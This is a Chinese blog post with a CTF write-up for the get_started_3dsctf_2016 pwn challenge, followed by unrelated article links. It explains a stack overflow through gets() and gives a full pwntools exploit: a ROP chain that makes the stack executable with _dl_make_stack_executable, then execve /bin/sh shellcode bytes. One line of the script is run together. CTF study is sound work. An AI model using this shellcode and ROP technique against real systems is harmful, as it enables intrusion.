【CTF】get_started_3dsctf_2016

2024-06-04 17:38
文章标签 ctf started get 2016 3dsctf

本文主要是介绍【CTF】get_started_3dsctf_2016,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

解题思路:
1 先反编译,第一印象代码比较多、杂,找main函数找了半天才找到。

undefined4 main(void)
{char local_38 [56];printf("Qual a palavrinha magica? ");gets(local_38);return 0;
}

2 看main函数,第一感觉是典型的栈溢出。然后就是ELF的一些保护。

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

同样,第一感觉,NX enabled,栈不可执行,shellcode方法被PASS掉,那就需要找系统函数ROP。

3 翻了代码,第一,没有找到程序中可以利用的函数;第二,程序没有加载libc(看了下反编译的代码,printf和gets都是重写的),利用libc的方式也不行。

4 走到死胡同了,看来得回头考虑shellcode的方式。因为之前没有接触过类似的题目,所以有点漫无目的,在代码中搜system、execve、exec等关键字,嗨,真被搜出来一个线索:

_dl_make_stack_executable
execute_stack_op

看字面意思都是栈可执行相关的函数,不熟悉,一搜索就搜索出类似题目的writeup,没办法,看一眼吧。链接在文末。主要思想:

int __regparm3 _dl_make_stack_executable(uint *param_1){int iVar1;int in_GS_OFFSET;if (*param_1 == __libc_stack_end) {iVar1 = mprotect((void *)(-_dl_pagesize & *param_1),_dl_pagesize,__stack_prot);if (iVar1 == 0) {*param_1 = 0;_dl_stack_flags = _dl_stack_flags | 1;}else {iVar1 = *(int *)(&DAT_ffffffe8 + in_GS_OFFSET);}return iVar1;}return 1;
}

1)进入__libc_stack_end那个判断分支
2)__stack_prot需要赋值为7,打开栈可执行权限。

5 剩下就是常规操作, 找溢出点,工具生成shellcode,找gadget。

from pwn import *
from pwnlib.shellcraft import i386
import time
elf = ELF('./get_started_3dsctf_2016')
sh = process('get_started_3dsctf_2016')
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
nops = b"\x90" * (56)
rop = nops
rop  += p32(0x0806fc30) # pop edx ; ret
rop  += p32(0x080eafec) # __stack_prot
rop  += p32(0x01020304) # 下面两个值无意义,没有找到合适的gadget
rop  += p32(0x05060708)
rop  += p32(0x080b91e6) # pop eax ; ret
rop  += p32(0x07)       # 7 (PROT_EXEC|PROT_READ|PROT_WRITE|PROT_NONE)
rop  += p32(0x080557ab) # mov dword ptr [edx], eax ; retrop  += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x080eafc8) # __libc_stack_end (param1通过eax传入)
rop += p32(0x0809aef0)  # _dl_make_stack_executable
rop += p32(0x08093d41) # push esp; ret (需要,把shellcode放入esp执行?)
rop += shellcode
print(rop)
with open("payload.txt", "wb") as f:f.write(rop)
sh.sendline(rop)
sh.interactive()

总结:
1)找gadget费了些时间,原因是工具不熟,不能很快速的找到自己想要的gadget。(之前的题目好像很容易找~~~,没有动用工具专门去找过)
2)中间找到某个gadget,但是因为地址有0x0a,也就是\n换行符的ASCII码,导致输入被截断,排查了好一会,最后只能换另外一个gadget。
3) gdb还是不够熟,调试费了不少时间。

附录:

  1. The Tale of the Really SAD binary
  2. [ROP] Ret to Stack

这篇关于【CTF】get_started_3dsctf_2016的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1030679

相关文章

SpringBoot中Get请求和POST请求接收参数示例详解

《SpringBoot中Get请求和POST请求接收参数示例详解》文章详细介绍了SpringBoot中Get请求和POST请求的参数接收方式,包括方法形参接收参数、实体类接收参数、HttpServle... 目录1、Get请求1.1 方法形参接收参数 这种方式一般适用参数比较少的情况,并且前后端参数名称必须

10 Source-Get-Post-JsonP 网络请求

划重点 使用vue-resource.js库 进行网络请求操作POST : this.$http.post ( … )GET : this.$http.get ( … ) 小鸡炖蘑菇 <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-w

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

API28_OKgo_get注意事项

1: implementation 'com.lzy.net:okgo:2.1.4' 2:在BaseApplication中onCreate()中初始化initOKgo() private void initOKgo() {//---------这里给出的是示例代码,告诉你可以这么传,实际使用的时候,根据需要传,不需要就不传-------------//HttpHeaders headers

项目一(一) HttpClient中的POST请求和GET请求

HttpClient中的POST请求和GET请求 一、HttpClient简述 HttpClient是Apache Jakarta Common下的子项目,用来提供高效的、最新的、功能丰富的支持HTTP协议的客户端编程工具包,并且它支持HTTP协议最新的版本和建议。HttpClient已经应用在很多的项目中,比如Apache Jakarta上很著名的另外两个开源项目Cactus和HTMLU

apt-get update更新源时,出现“Hash Sum mismatch”问题

转载自:apt-get update更新源时,出现“Hash Sum mismatch”问题 当使用apt-get update更新源时,出现下面“Hash Sum mismatch”的报错,具体如下: root@localhost:~# apt-get update ...... ...... W: Failed to fetch http://us.archive.ubuntu.com/ub

Flutter-使用dio插件请求网络(get ,post,下载文件)

引入库:dio: ^2.1.13可直接运行的代码:包含了post,get 下载文件import 'package:flutter/material.dart';import 'package:dio/dio.dart';void main() {runApp(new MaterialApp(title: 'Container demo',home: new visitNetPage(),)

Flutter-加三方库卡在flutter package get 的解决办法

Windows PUB_HOSTED_URL ===== https://pub.flutter-io.cnFLUTTER_STORAGE_BASE_URL ===== https://storage.flutter-io.cn 增加两个环境变量,然后执行一下 flutter doctor命令。问题完美解决。

实践课堂|2016成都站|报名开始啦!

Hi,QingCloud 的小伙伴们,欢迎参加史上最有营养的云知识讲堂。 QingCloud 实践课堂系列开始于 2014 年末,在深圳、上海、广州、成都、杭州、北京六个城市,QingCloud 的研发工程师们同近千名 CIO 、架构师、开发者、运维工程师……分享了 QingCloud 的技术理念、功能特性和使用技巧,还有来自人民网、融云、泰捷视频、杏树林、友好速搭、百姓网、冰点、顺丰速运、洋葱

【tensorflow 使用错误】tensorflow2.0 过程中出现 Error : Failed to get convolution algorithm

如果在使用 tensorflow 过程中出现 Error : Failed to get convolution algorithm ,这是因为显卡内存被耗尽了。 解决办法: 在代码的开头加入如下两句,动态分配显存 physical_device = tf.config.experimental.list_physical_devices("GPU")tf.config.experiment